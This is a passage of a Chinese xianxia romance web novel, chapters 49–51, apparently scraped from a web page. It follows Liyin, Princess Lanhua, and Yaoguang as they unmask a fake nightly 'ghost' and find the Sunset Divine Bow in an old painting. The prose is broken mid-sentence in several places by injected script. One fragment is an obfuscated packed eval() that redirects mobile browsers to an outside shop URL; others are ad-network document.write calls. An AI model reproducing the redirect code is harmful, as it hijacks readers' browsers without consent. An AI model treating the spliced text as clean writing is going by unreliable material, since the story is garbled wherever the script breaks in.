虞宛言对上摇光探究着望过来的眼神,想起上次临别时抵在自己额上的那一剑,心里不由得怵了怵,但还是坚决摇头道:“阿姐生来魂弱,禁不起魂术折腾,仙子就用引魂铃,帮忙把阿姐摇醒就好。” 这次轮到璃音讶然挑眉了:“你知道引魂铃?” 话音甫落,就见虞宛言从兜里摸出一本《神器图鉴大全》,熟练地翻过几页,用手往上一指:“仙子腕间戴的,和腰间系着的那些铃铛,不是引魂铃么?” 璃音垂目一看,书页上画着一铜九玉十个铃铛,工笔细致,着墨精巧,与她带在身上的丝毫不差。 揽华也好奇地凑头过来,只看了一眼,就连连惊叹:“这画得也太真了,简直跟拓上去的一样。” 璃音拿过这本厚厚的书册,一翻封面落款,果然写着:云上真人。 她想起之前那本《神仙图鉴大全》,也不由得惊叹:“这也是你师父画的?” “是。” 摇光的目光在“云上真人”四个字上扫了扫,忽道:“这书可否借我一看。” 虞宛言似乎没料到他会突然开口向自己借书,顿了一顿,才道:“神君要看,自然可以。” 不知是不是错觉,璃音总觉得这次再看见的虞宛言,和之前有点不一样了,他好像对摇光多了一点畏惧,还对自己多了许多客气,竟规规矩矩地称呼她为“仙子”了。 不过,小孩嘛,总要长大懂事的,璃音只当是虞姐姐的病叫他长大成熟了,也没有多想,倒是对他们的师父云上真人越来越好奇了。 她把书递给摇光,自己解下腰间那只青铜铃铛,去虞宛初耳边摇了摇。 果然是魂弱之症,引魂铃一摇,叮铃声响中,就见虞宛初阖着的眼皮下眼珠微动,没过一会儿,就幽幽醒转了。 见她醒来,虞宛言低低叫了一声“阿姐”,就转过身去,偷偷红了眼眶。 而虞宛初一睁眼,就看到眼前悬着一张因靠得太近而被放大的脸,那脸如瓷玉,莹润透白,两颗琉璃似的眼珠灵气逼人,此刻却染了一点忧色,还带着点严肃,正一眨不眨地盯着她看。 虞宛初被她这一本正经的神情逗笑了,她昏睡太久,喉间干涩得有些难受,只好微哑着声音笑道:“夏姑娘,你出画了?一切可还顺利,没受伤么?” 璃音听她开口,立马侧过头,向身边正在翻书的那人压低声音,快速吩咐了一句:“小七,去倒碗水来,不要杯子,拿大碗。” “知道了。” 摇光微一颔首,就放下手里的书,一丝迟疑也没有地走去端茶。 这一番动作过于行云流水,以至于他经过虞宛言身边时,惹得少年人默默睁大了眼睛:这还是昨日在伏龙山巅,拿破军指着自己眉心,用漠然一切的神情说着“那些事情,与我有什么相干”的那位高高在上的神君么?他现在怎么好像……正在一脸理所当然地干着端茶送水这种仆从小厮干的活? 虞宛言倏地把目光投向阿姐床边那位青衣少女。 那妖女是个修炼魂术的,他记得里面有一招迷魂之术,可叫人整日里念着施法之人,茶饭不思,神魂颠倒,这术法被狐族学了去,代代修习,导致狐族在人间的名声至今都不大好。 阿姐就是被这妖女魅了心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744734|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,才总是向着她,偏袒她,宁可自己受伤也要保护她。 神君也一定是中了这妖女的魅魂邪术! 幸而自己心志坚定,还不曾着了她的道。 此时只听那妖女正用她山溪跃涧一样清灵悦耳的声线,跟阿姐一起笑着:“虞姐姐,我没事,坏龙都被我打败啦。” 说着还挥舞起拳头,在空中比划了一番,仿佛她就是这样那样将那石龙打败的。 装乖卖俏! 虞宛言在心里冷哼一声。 又见阿姐果然被她逗得直笑,不停嘴地夸她厉害,又在心里连着哼了两声,那眉毛就拧了起来,嘴也悄悄地扁了,直到眼角余光瞥见摇光稳稳当当端着一大碗的水走了过来,才浑身一个激灵,默默收敛了神色。 虞宛言把视线黏在心中认定的小妖女身上,却不想也有人的视线一直黏在他风云变幻的脸上。 揽华颇有兴味地盯了虞宛言好一会儿,只觉这人越看越好玩,忍不住轻手轻脚地挪步过去,绕去那人身后,然后猛地一拍他肩膀,看他明显吓了一跳的样子,拍手笑道:“小公子,你这脸变来变去的,可真好玩。” 虞宛言知道自己心思被公主看穿,又羞又恼又怒,他可不管对方是什么皇亲贵胄,当即黑了脸,恶狠狠地一举手中长剑,低声道:“再多废话,给你一剑。” 揽华却根本不怕他,竟伸出手来,摸一把虞宛言含怒的俊秀脸蛋,跟逛馆子揩油似的,嘻笑一声,道:“看在你长得好看的份上,本公主不与你计较。” 揩完油,就毫没留恋似的,笑着转身走开了。 虞宛言脸上黑一阵,红一阵,不自觉地抬眼去望那边的小妖女,见她和阿姐都没注意到这边的动静,这才松一口气,结果这口气才松到一半,就又撞见揽华投来的意味深长的眼神,脸上就又黑红交替起来。 而璃音确实不曾关注虞宛言的动静,她正忙着接过摇光递来的水,扶虞宛初起身来喝,并再一次向她提起探魂的事:“虞姐姐,要我帮你看一看魂魄么?” 虽然这个提议之前遭到了拒绝,但那毕竟只是她弟弟的意思,探不探魂,还是要她自己决定。 虞宛初唇边扯出一个苍白的笑,她慢慢将水饮了小半碗,润了喉咙,声音总算没那么哑了,却带了点认命般的低落:“这个病是胎里带来的,师父说了,就是神仙也看不了,夏姑娘,不必麻烦了。” 娘胎里带来的魂弱之症? 璃音一怔,那得是前世遭了重创的魂魄,未经恢复修养,直接强行投胎,才会有的病症。 这种病,许多人都说,就是在借用今生的寿命,去追还自己前世的恨与债。 “你既然想活,为什么不治?”揽华不解地在床头坐下,用一种过来人的口吻劝解,“我也算死过一次,所以我知道,只要哪怕有一点点想活,都不能随便去死,不然以后都是后悔!” 当初她尚在纠结着要不要去死,若非摇光当机立断的那一拍,她现在恐怕已经是死透了。 璃音却知道这病多半都连着前世心病,劝也无用,只没想到虞姐姐这样看上去温温柔柔的人,前世竟也是个犟鬼。 她看着虞宛初气弱的一张脸,轻轻叹了口气,一扭头,看揽华气色倒是不错,眼神清亮,双颊红润,连眼下的乌青都褪干净了,不由问道:“公主昨晚睡得挺好?” 揽华却重重地从鼻子里哼了一声,眼里腾地燃起两团怒火,道:“没人在我屋子外面捏着嗓子假哭,自然睡得好了。” 璃音被她说得有些懵:“假哭?” “说到这个我就来气。”揽华愤愤地站起身来,“仙子,你还不知道,原来每天半夜里的那个哭声,不是鬼在搞人,是有人在搞鬼!” 50. 第49章 谁在哭 璃音坐在床沿边上,仰颈看着怒气冲冲的小公主,有些惊讶:“不是你床头那个小鬼在哭?” 但仔细回想,陪揽华同塌的那一晚,确实在哭声传来的时候,小鬼还没出现呢。 揽华是个火爆憋不住话的性子,当即恨恨地向前一踢腿,便把昨日夜里如何天缘凑巧,如何捉拿到了“夜哭小鬼”的事一股脑说了出来。 原来昨天夜里丑时一到,那小鬼照旧准时来哭,揽华正听着心烦,突然床上大变活人一样冒出来一男二女,还掉下一个大麻袋。 正是被摇光猝不及防送来的山桃、楚雁儿和文昌帝君。 公主这半年来神神鬼鬼的事见多了,早已见怪不怪,本来睡不着就烦,大晚上的又困,当即打了一个哈欠,对来人理也不理,拉高薄被蒙过头顶,只把闷闷懒懒的声音透过被子传了出去:“神仙留下,明日招待,阴鬼不见,凡人滚蛋。” 文昌显了仙轮,那一团白光亮得可怕,揽华在被子里阖着眼皮都差点给晃瞎。 她掀被而起,就要骂人,嘴张到一半,才意识到是神仙来了,同时也才意识到,那每日不呜咽上半个时辰绝不肯歇的啼哭之声,就在刚才,竟然停了! 接着殿外忽然传来噼里哐啷一阵脆响,像是什么东西被人打翻的声音。 山桃警觉,生怕有山里的毒虫猛兽跟了过来,手里火钳一举,就循声冲了出去。 她一路奔出殿外,才发现原来是一个提灯夜巡的小太监,一时被公主殿中突如其来溢出的白光惊了神,手一抖,手里提着的那盏琉璃宫灯便哐啷坠下,剔透明静的琉璃灯壁撞在地上,稀里哗啦碎了一地。 小太监见一个少女身形从殿中冲了出来,夜里瞧不真切,但瞧这风风火火的模样,只当惊动了那位娇横的小公主出来问罪,当下双膝一软,就跪倒在地。 “奴婢失手打碎宫灯,惊了公主安寝,还请公主恕罪!请公主恕罪!”他边说边磕头,整个人哆哆嗦嗦的,连带着这求饶的字句也哆哆嗦嗦的,到最后,更是不自觉地带了几分哭腔。 山桃自己是个受压迫的烧火丫头出身,自然不会为难一个小太监,当即收了火钳,压低声音,向他道:“我不是公主,你快走吧。” “我看谁敢放他走!” 却不想揽华紧跟着山桃追了出来,将这些话都听在了耳中,她冷哼一声,大步上前,抽出山桃收在腰间的火钳,向前一挺一压,就压去了小太监瑟瑟发抖的肩膀上面。 “求饶求得不错。” 揽华居高临下地看他,手上用力,拿火钳压着小太监颤抖的肩膀,将他身子越压越低,嫩红的唇瓣一掀,无情地吐出两个字:“继续。” 小太监哪里敢违拗公主的命令,当即吓得浑身一抖,就继续咚咚咚地往地上磕起头来,用那哭腔求道:“奴婢失手打碎宫灯,请公主恕罪!奴婢失手打碎宫灯,请公主恕罪!” 山桃最看不惯这等仗势欺人的行径,心想这小太监不过一时失手打翻了一盏宫灯,该打该罚就按宫里规矩受着也便罢了,但公主这举动却分明是在辱人取乐,心下十分不喜。 她正好见文昌陪着楚雁儿走了过来,便一把拉过文昌,向揽华道:“公主,仙人面前,还是少造孽吧。” 文昌猛地里被山桃这么一拉,差点绊个跟头,他左右看看,一脸茫然:“发生什么事了?” 谁知揽华根本不管什么仙人鬼人,挺着火钳往那小太监肋下狠狠一戳,再向外用力一掀,就将他一个轱辘掀翻在地,掀得小太监求饶也忘了,只顾着发抖。 揽华拿火钳指着他鼻子,冷笑道:“继续啊,今日不是还没哭够时辰呢么?” 那小太监听了这一句,竟跟听到了死刑判决似的,浑身剧震,嘴巴张合了好几次,终于还是没敢出声,只一声不吭地爬起来重新跪好,把脑袋重重地磕去地上,再不敢抬头。 听到这里,璃音不禁“啊”了一声:“所以这几个月,每天晚上都来你殿里哭的,是那个小太监?” “可不就是他!那声音,化成灰我都认得!后来他自己也招了,就是他天天捏了嗓子装小孩,在外面学鬼哭!” 揽华气鼓鼓地说完这一段故事,直把自己说得口干舌燥,一个圆脸宫女忙给她端了茶来,虞宛初看她一口气喝了两大盏的温茶,不由得好奇道:“那小太监做什么要这样装神弄鬼,公主可是哪里得罪他了?” “我得罪的不是他,是淮南王世子。”揽华把手中茶盏重重搁去床边的一张小几上,搁出砰的一声,“据那小太监招的,世子给他一千两银子,要他每日丑时来我屋外窗下装作小孩,哭上半个时辰,连哭六个月。” 虞宛言听了,忍不住皱眉:“他有病么?” 花一千两银子做这种事,不是有病是什么。 揽华一拍桌面,道:“可不就是有病,那个带火钳的姑娘先前还给那小太监求情,听他招完,大骂他和那世子好几句神经病,哪个正常人能知道他们是怎么想的。” “那世子故意让人装成小孩啼哭,就是仿着荀满,要勾动你心里的鬼,叫你不得安宁。”璃音替揽华分析着,却是越分析越好奇,“公主,你究竟怎么得罪那世子了?” 杀人诛心,这世子等于是花一千两银子在买揽华的命。 揽华偏着脑袋想了想,想了半天,也很纳闷似的:“谁知道!前年秋猎的时候,他还整日里追着我跑,跟只苍蝇似的,甩也甩不掉。” 过来收拾茶盏的圆脸宫女听到这里,终于忍不住了,踌躇半晌,还是向自家公主轻声提醒道:“公主,秋猎时咱们遇到淮南王,王爷提起有意送世子参选驸马的时候,您可还记得自己当时是怎么回的?” 揽华又想了半天,显然还是没能成功想起什么端倪,倒像是想起了哪里的鬼似的,嫌恶地皱了皱眉,撇嘴道:“谁能记得那些,他儿子长那么丑,我看一眼都吓死了,根本就不想和他说话。” “世子是长得……咳……独特了些……” 圆脸宫女略显尴尬地咳了几声,继续循循善导:“公主向来心口如一,您是这么想的,因而对陛下,对淮南王,以及对淮南王世子,也都是这么说的,对么?” 揽华这才终于想起了一点什么,为此很是高兴的样子,拍手笑道:“对对对,我那日被淮南王的提亲吓得半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 死,说他儿子太丑了,我不要。” 就这还不知道自己究竟哪里得罪了淮南王世子…… 殿内所有人都默了一默。 只有揽华兀自高兴过了,又换上一脸不解:“这又怎么了?他自己长得丑,又不是我害他长成这样的,见过他的人,哪个能说他长得好看,他怎么就独独记恨上我了?” 虞宛初正小口喝着碗里的水,听到这里,差点被呛了一口,在一片寂静中,发出一声叫人难以忽视的轻咳。 这一咳,好像开口打破沉默的任务也随之落到了她身上,她只好又咳了几声,才向揽华道:“公主,您那些话,都是当面和淮南王还有世子说的?” 揽华仍是不解:“是啊,父皇一向教导我,不可在背后妄议他人,所以我都是当面实话实说,这有什么不对吗?” “就是因为他真的丑,你才不能当面说他丑。”璃音笑着伸手一指摇光,“你看我若说这位神君长得丑,他怎么可能会放在心上,只会觉得我没睡醒,在说梦话呢。” 却见摇光眼珠朝她转了转,那眉心就有点向下塌,明显一副被踩了尾巴,不太高兴的样子。 诶? 璃音愣了愣。 不是吧,他还真会把这种事情放在心上? 摇光瞥她一眼,扯动唇角,不咸不淡地道:“老师说笑了,老师的梦里,怎会有我。” 怎么听起来还有点怨气。 璃音在心里小声哼哼:我做的都是噩梦,梦里都是来找我寻仇的冤魂,还是没你的好。 大概是摇光的这个反应让璃音的举例太没说服力,揽华试图理解了一下,但还是不太理解,最后干脆放弃了理解。 倒是脑子里关于这一件事的记忆越来越清晰,她又想起一些前后文,哼道:“其实父皇一开始也不是没有顾及淮南王的面子,拒绝时说的都是‘揽华顽劣,恐非良配’之类的话,哪句不是贬着我,抬着那位世子,怎么说我顽劣可以,说他长得丑就不行了? “更别提那世子听了这等‘彼此不合适’的拒法,仍旧纠缠不休,一口一个不在乎我的顽劣,又撺着自己父亲来提亲,追问我到底是哪里不合适,我只好实话告诉他,他太丑了,不合适,这也是我的错?再说这点陈芝麻烂谷子的小事,他至于记恨成这样,记恨到如今?” 这位小公主她自己心大,所以根本想不到一些脆弱男人的心眼,可以小到什么程度。 璃音失笑抬眼,突然发现床头原本贴着的那一大堆辟邪画像都不见了,因问道:“公主,你床头的那些画呢?” 揽华果然是心大,一句问话就叫她忘了继续生那淮南王世子的气,她向床头望了望,道:“那些啊,自从仙长你来信,说床头那个小鬼不是荀满,我就叫人收起来了。” 璃音笑问:“你不怕它?” 揽华挥一挥手,满不在乎地道:“荀满既然没死,他也不是荀满,我干嘛要怕他,他不过在我床头坐一坐,又不来吵我,还没那个假哭的惹人烦,爱坐就坐吧。” 顿了一顿,又道:“不过说来也是奇了,自从我把镇鬼的画像都撤了,那小鬼居然也不来了。” 51. 第50章 去哪找 画像一摘,小鬼就不来了? 璃音想了想,道:“公主,那些画像还在么,能否拿来给我看看。” “只是收起来了,都还在的。”揽华朝圆脸宫女摆摆手,示意她去把那些画拿来,“仙长可查到那个小鬼的来历了?” “只是有一些猜测……”璃音说着,忽然站起身来,眼睛一亮,忙转向虞宛言道:“你师父画的那本《神仙图鉴大全》呢,快拿出来。” 虞宛言看眼前少女瞳仁里都闪着碎光的急切样子,去乾坤袋里摸了摸,摸出一本大厚书来,想这书自己早就翻熟了,就鬼使神差地说道:“你要找谁,我给你翻。” 但话一出口,就有些后悔。 她自己没手么,他干嘛要给她翻。 但璃音应声应得飞快,没给他留下任何反悔的时间:“三足金乌。” 想了想,又补充道:“最好是它们的人身像。” 纸页被虞宛言修长的手指翻得飞快,他按着记忆里的位置略一寻找,很快就找出了画着十只太阳金乌的一页。 每一只金乌本相的下面,都生动清楚地描画着它们的人身形态,其中一只扎两个角辫,圆脸圆眼,尖嘴尖鼻。 揽华一眼就认了出来,睁大眼睛,轻轻“啊”了一声。 璃音也总算得到了一个确认:“果然是它。” 这时那位圆脸宫女捧着一个木匣子走了过来,里面装满了从公主床头揭下来的镇鬼画。 璃音在匣子里翻翻捡捡,翻到一张,忽地一笑,就挑出那张露着胸肌、长着大胡子的黑脸摇光,拿在手里,献宝似的,晃着那画纸,晃去虞家一对姐弟跟前,巡回着展览。 虞宛初看了,差点又呛一口水。 “这谁?”虞宛言瞳孔地震。 摇光也不说话,就站在一边,抱了胳膊,静静地看他们传阅自己那张严重失实的丑黑画像。 璃音越看越觉得好笑,她笑得眉眼都弯了起来,转头向揽华道:“公主,这张你还要么,不要送我好了。” 揽华大气地一挥手:“仙长想要尽管拿去,我那还有好多呢。” 看璃音欢快地把自己那副丑画收进了乾坤袋里,摇光一挑眉梢,唇角微动,说道:“学生倒觉得这副画得不错。” 璃音本来正乐呵呵地收着画,听见摇光这样说,狐疑地向他瞥去一眼。 她以为他在闹脾气反讽,没想到这一望,竟望见他眼角眉梢间的怨气都淡了,甚至还挑上了几分若有似无的笑意,竟是高兴了? 方才她拿他向揽华举例时,拐着弯夸他好看他不高兴,这会子见了他自个儿这张丑兮兮的画像,倒是高兴起来了? 难道他内心其实比较向往画里那种肌肉虬髯、黑壮魁梧的长相?认为那样更有武将气概? 他自己生得眉锋似剑,本来该是个锋芒凌厉的长相,所以不笑时,天然就是个臭脸,但偏偏又在下面生了一双桃花眼,便又将那分锐利气势中和掉了许多,只要垂眸或是含笑,就叫人看着格外乖巧,不像个武将,倒像凡间那些好汤好水富养出来的公子哥。 但他是天生地养的星宿神君,相貌是老天给的,人还有投胎换脸的机会,而他么,再不满意,也改变不了什么,晒也晒不黑,只能顶着这样一张自己不甚中意的白净面皮,千千万万年地过下去,难怪他要不高兴了。 璃音颇能理解他的郁闷。 她也不止一次觉得十六岁的自己还没长开,却被玉横永远定格在了自己十六岁时的样子,她不是没试图和玉横商量,叫它雕一个二十六岁的自己出来,甭管长成什么样,至少能把个子再拔上一拔。 但玉横坚决表示:它没见过她二十六岁的样子,所以雕不出二十六岁的她。 凡人夏侯璃音死在了自己的十六岁上,她永远无法得知二十六岁的自己,会是什么模样了。 想到这里,她向摇光投去一个同病相怜的眼神,抬手轻轻拍一拍他的后背,语重心长地开解:“小七,那画固然好,不过你现在这样也挺好。” 摇光眼尾的笑意似乎又深了一些。 “我也觉得画得不错,镇鬼么,又不是选老公,还是越凶越丑越好。”揽华随手扒拉着匣子里的画,越扒拉越满意,“这些画,都是我当初经过望州一个铺子的时候一眼相中的,就看中它们画得丑。” 璃音耳尖地捕捉到了一个关键词:“望州……是你去望仙镇时买的么?” 揽华点这头道:“是啊,那小鬼第一次出现的时候,我就想,望州的鬼还得望州的图来镇,所以就把这些都贴上了。” 怪不得当时她的床头会贴着后羿的图像,璃音乍一见到时还有过诧异,因为其实出了望州,很少有人在家中辟邪时,会想到张挂这位神君的画像。 璃音又往匣子里翻了翻,终于翻找出记忆中的那张后羿神像,画里的神君威风凛然,果然正搭了一张大弓,要射那画里的太阳。 画面上的一轮白日潦草,就是个被画师随手一笔圈就的小圆,璃音探出指尖,轻触了触墨圆中央,那一轮小圆登时就如被石子惊扰了的湖面,映着屋内昼光,粼粼地荡漾起来,看上去竟好像真会发光一样。 “这画里的太阳动了!”揽华惊讶地伸出手指,也去戳一戳那画,不想指腹一触着纸面,就被烫地急急缩了手。 她当即反应过来,惊奇道:“它在里面?” 璃音看揽华鼓了小嘴,拼命往刚才烫着了的手指头上吹凉风,笑道:“公主不必担心,它没有恶意,也不会伤人,只是身上烫了些,会让这城里的气候有些反常罢了。” 她摩挲着画中白日,又道:“它应该只是那小金乌的一缕神识碎片,寄附在这副画中了。” 当年小金乌们年幼无知,只因一时贪玩,闹出了人间十日并出的大祸,虽是无心之过,但这闯的祸实在太大,不是和父帝撒一撒娇就能免罪的,因此最后丧命于后羿神君箭下,虽然可怜,但也无法。 有些时候,你身负了那样的神通,又处在那样重要的位置,就是不容犯错的。 这只小金乌被一箭射中后,应该就像猰貐神尊的神识残片一样,四散飘零,却有一缕幸运地得以寄魂于墨,苟留世间,它本无恶意,即便有,就凭这小小的一片破碎残魂,也翻不起什么大风浪了。 揽华往指尖上吹完了风,甩着手笑:“万事有你们这些神仙在,我有什么好怕的,若是连你们神仙都解决不了,那我怕也没什么用。” 这位公主的心态,时常好得叫璃音不得不佩服。 摇光盯着那画上的小太阳看了一会儿,忽道:“老师,去东海时,带上它吧。” 东海深处藏着一层万年不化的寒冰,只消凿个一两块碎冰下来,就是传闻中的东海冰晶。 东海冰晶,遇热不化,可镇万热,灭天火,若能取一小片与这幅画挂在一处,便可永无后患地解决这画带来的旱情了。 摇光开口时,璃音正想着此节,当下便点头“嗯”着应了一声。 坐在床上的虞宛初听了,轻声细语地开口问道:“夏姑娘,你们要去东海?” “嗯,受那石龙之托,要去找一把落日神弓。” 璃音点着头,便将魔龙与神弓的事都说与她听了。 虞宛初垂着目,不动声色地听着,听她全部说完后,才缓缓抬起头来,说道:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夏姑娘,你们去东海,是找不到落日神弓的。” “虞姐姐,难道你知道神弓的下落?”璃音立马跑去床边坐了下来。 “阿言,师父那本图鉴呢?” 虞宛初向弟弟要来那本《神器图鉴大全》,然后一边用透白的指尖翻着书页,一边说道:“我师父早年间为寻一物,曾遍历东海,她亦听闻过有一把烈性神弓自沉东海殉主,便顺带着留了心,只是她老人家花费五十年时间,寻遍东海每一个角落,也不曾发现那把神弓的踪迹。” 听到这里,璃音不禁小声喃喃道:“不在东海啊……” 她有些犯难地和摇光对视了一眼,原来早有人先他们一步,去东海一寸一寸地翻找过了,却是无果。 虞宛言接口道:“或许它从来就不在东海,又或许在后羿神君陨落之后,确实沉去了东海,但至少在三百年前,它就已经不在那里了。” 这时虞宛初终于翻出图鉴上画着的一把赤红色神弓,指着下面一行小字念道:“入海封灵,永无二主。” 她念完抬头,正色道:“神弓已自封灵魄,再不会另择他主,所以即便你们真的找到了那把落日神弓,拉它不开,也是无用。” “这个我也知道。”璃音眉心蹙起,这些问题她早就考虑过了,“但这是世间唯一能克制魔龙的法宝,我们拿了神弓在手,总是多一分胜算,也能叫那魔龙行事多一分忌惮,而且,我还有点担心一件事……” 璃音面上忧色加深:“若是落日神弓抢先一步,被那条魔龙找到了呢?” 它也不必拉动那弓,只需把神弓藏起来,岂不就从此可以高枕无忧,为所欲为,叫世人再无诛杀它的可能了。 所以无论最后用不用得上,这个法宝,他们都一定要找来拿在自己手上。 至于那些解封认主的麻烦事要如何解决,都只能等先拿了神弓在手,再走一步看一步,琢磨着办了。 屋里几位都是聪明人,听璃音这么一说,自然都明白了她的意思。 摇光沉着声道:“老师说得不错,这把神弓,非找不可。” 其余几人点着头,但也一时都陷入了沉默。 如今神弓不在东海,便连大海捞针都算不上了,茫茫天地间,究竟要去哪里才能找到这把遗落快有千年的落日神弓呢? 揽华原本一直坐在一边,边喝茶边默默听他们这些仙长聊着一些神魔大事,见大家不说话了,便起身往那画册上凑头过去一看。 她盯了会儿画册里那把威风八面的赤红大弓,忽然在一片静默中开口道:“这把弓么?我昨天才见过的。” 众人齐刷刷地向揽华望去。 揽华朝床头努了努下巴:“喏,那个画里的不是?” 璃音忙转头去看,公主床头那一片原本是贴满各类镇鬼神像的,现在这些丑图揭下后,又重新挂了一副巨大的宴饮行乐图上去。 这图里画的场面十分平常,就是人间的一群公子王孙们摆宴奢华,敲着杯子行酒令而已。 这么大一幅画挂在那里,其实谁都看到了,但偏偏谁也没去细看,因为谁也没想到这图能和他们讨论的神魔大事沾上什么边。 这时凝神一看,立马就能看到画中一个矜贵飞扬的少年,该是正在行着一套武令,正张弓搭箭,要去射一面靶心。 那弓比寻常的弓大上一倍,通体赤红,上有烈焰纹样,虞宛言抬头又低头,比对着图鉴上的画像,确认道:“是落日神弓。” 璃音看得有些呆了,却不是为着那把弓。 她抬手指向画中拉弓的那个锦衣少年,望向摇光,睁大了眼睛,惊问:“小七,这个不是你么?” 52. 第51章 旧画陈伤 画中的少年穿一身冷蓝绣银的束腰锦袍,长长的发丝高束飞扬,虽在抻臂拉弓,眼神却不向前瞄准靶心,而是正回头望着什么人。 在画师精巧的工笔描摹之下,那微微挑起的眉梢,漾着星子似是含笑的双眸,以及被这笑意柔和了的冷冽面庞,都被极尽生动地描画了出来。 这副表情璃音太熟悉了,熟悉到比起那把赤红色的大弓,她更先认出了这张脸。 而这张脸的主人也并没有否认,但他也没有直接承认,他给出的回答是:“可能是吧。” “这旁边题着咸承二十九年,楚道戎作画。”虞宛初伸手抚过画旁小小的一行题字,在脑中努力换算着这个年号,“咸承二十九年……那这是九百多年前,酆朝时候的画了?” 揽华端了茶盏在手里,抿了一口,缓缓地道:“这画你们都不认得么?” 昨晚那位楚娘子可是一瞧见这画,眼睛就亮了,原来这是她先祖传世的一幅名动一时的画作,曾被誉为工笔写实巅峰之作,揽华听着她兴奋的介绍,一边“哦”着点头,一边想的是:我可不懂什么写虚写实的巅峰,我就是在父皇的藏品里随便翻翻,看它够大,就拿来挂上了。 她看这帮修士神仙比自己还不识货,终于轮到自己当“行家”了,就抿着茶,十分懂行一样给他们介绍:“这画是酆朝一位字画名家,楚道戎先生的大作,传了九百多年了,乃是工笔写实的巅峰作品,据说这位先生从来不作虚构山水,只画真实发生的场景,所以这画里的景象,肯定是他亲见亲画的。” 璃音仔细看了会儿那一行题字,扭头向揽华笑道:“这些都是楚娘子告诉你的吧。” 揽华自小就独爱骑马射箭,对琴棋书画这些文绉绉的东西毫无兴趣,这会儿被揭穿了也不脸红,只佩服道:“仙长,你真的会读心术?” 这字画风格都和楚雁儿一脉相承,楚雁儿又是从书画世家里没落下来的,再一看楚道戎的姓氏,也不算难猜。 璃音笑道:“楚娘子人呢?还有山桃和帝君,怎么不见他们。” “她们好像有什么冤情,去京兆尹衙门里告状子去了。” 揽华方才装模作样对这画点评了几句,行家里手的瘾头她也过够了,这会儿就恢复本性,看着画摇起头来:“说是写实画作的巅峰,但我看也就那么回事,你们看这少年回头,分明是在看着什么东西,但视线里偏又什么也没有,肯定是画漏了吧。” 说着就扭头去问摇光:“仙长,这画上的少年真的是你吗,那时候你在看谁呀?” 摇光却只是怔怔顺着那画上少年的视线望着,似乎努力想要望见什么人,但无论他怎么看,那里都只有一张摆满肴馔的席案,但席前却空空荡荡的,那里应该……应该要坐着什么人的,应该要坐着一个很重要的人的。 可却偏偏什么人也没有。 他抬手按了按前额,里面似有什么东西在隐隐发胀。 怎么会什么人也没有……不应该什么人也没有的…… 他还要再想,心脏却像是被一只巨大的手狠狠攥去了掌心,揉搓玩弄着捏紧,再捏紧…… 有痛苦混着腥甜一起从喉间翻涌上来。 又是这种感觉。 这是第几次了? “小七!” “神君!” “仙长!” 惊呼声从四面八方传了过来,他拉起袖子,轻轻擦了擦唇角,果然擦出一片殷红的血迹。 他将视线从画上移开,转而去寻找那张能让自己安定下来的脸。 那是一张如瓷如玉的脸。 多少年来,这张脸上或怒或笑,或冷或嗔,他看过她对着师兄师姐撒娇的样子,看过她躲起来静静流泪的样子,看过她哄着月宫那位少主逗他开心的样子,他看过她那么那么多张生动的表情,却没有任何一张是对着他的。 因为她根本就不认识他。 是他来得太晚了。 而现在她是这样焦急地望着他,不停地唤:“小七,小七?” 她用这样关切的神情,只看着他一个人。 这份焦急,是独属于他的。 攥在心脏上的那只手突然就松了劲,像是大发慈悲,容许他喘过了这一口气。 只有看着这张脸,那些总会无端从不知名处冒出来缠住自己,却又不肯消散的痛苦才不会发作。 他本来已经好久没有发作过了。 他压下喉间那股腥甜,努力扯动唇角,要扯出一个叫她安心的笑:“老师,我没事。” “真的没事?” 他看她皱起了眉,这可不好,他更喜欢在她脸上看见她的笑,就比如适才她拿着他那副丑画像时那样的笑,于是他努力笑得让她更安心一些:“真的没事,可能是最近牵动了一些旧伤。” 看她稍稍舒缓了拧着的眉心,才缓声答了揽华方才的问话:“只是画上的这些事,我并不记得。” 璃音听他这样说着,不禁去想,九百年前,他明明在场,却不记得的,会是什么事? 她心念一动,向他道:“小七,会不会是你在人间历劫时候的事。” 却见他凝神细想间,忽地闷哼一声,眼中蓝白色冷光大盛,只听嗡的一声剑鸣,破军倏然现身,通身闪着凌冽寒光,横剑往主人背后一撑,撑住那个唇角不断有鲜红血液溢出的踉跄身影。 “小七!”璃音连忙起身将他扶住,“是我不该问,想不起来,就不要想了。” 什么旧伤能把北斗第七神君伤成这样。 她于情之一字上是很单纯,但也不是笨蛋。 这位神君历劫十次,十次皆忘的事迹她不是没听说过。 众仙只道他是天生的星铁冷情,眼里永远高傲得只看得见他自己。 因为对他人无情,所以才可以忘记得那么干脆彻底。 但璃音瞧他这副模样,竟比那些执念凿心,不得不被赐了忘川水的仙子神君们还要痛苦几分。 她也没有忘记他提起那些遗落的记忆时,总是很落寞的神情。 那段记忆里,一定有对他而言很重要的人吧。 他其实根本不想忘的。 璃音想着,就看到他已抬起了眼,再一次扯过袖子擦掉唇畔的血迹,状若无事地笑道:“我没事。” 见他这样,璃音有些不满地皱一皱眉:还在这骗鬼呢,长了眼睛的都看得出来,你明明就有事,而且是有很大的事好吧。 她不客气地拉过他一只胳膊,就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 搭上了他腕间跳动的脉搏。 ……好像真的没事。 至少身体上没事。 璃音也算放下心来,但还是瞪他一眼,威胁:“有事不许瞒着我,被蚊子叮一下也不许瞒着。” 她最讨厌猜别人的心思,前世就猜得够累的了,一想到面上这么乖巧的小七也很可能藏了一堆心思等着她猜,就觉得有点头昏脑涨。 她见他乌黑的眼睫扇了扇,乖巧应声:“知道了。” 还算听话。 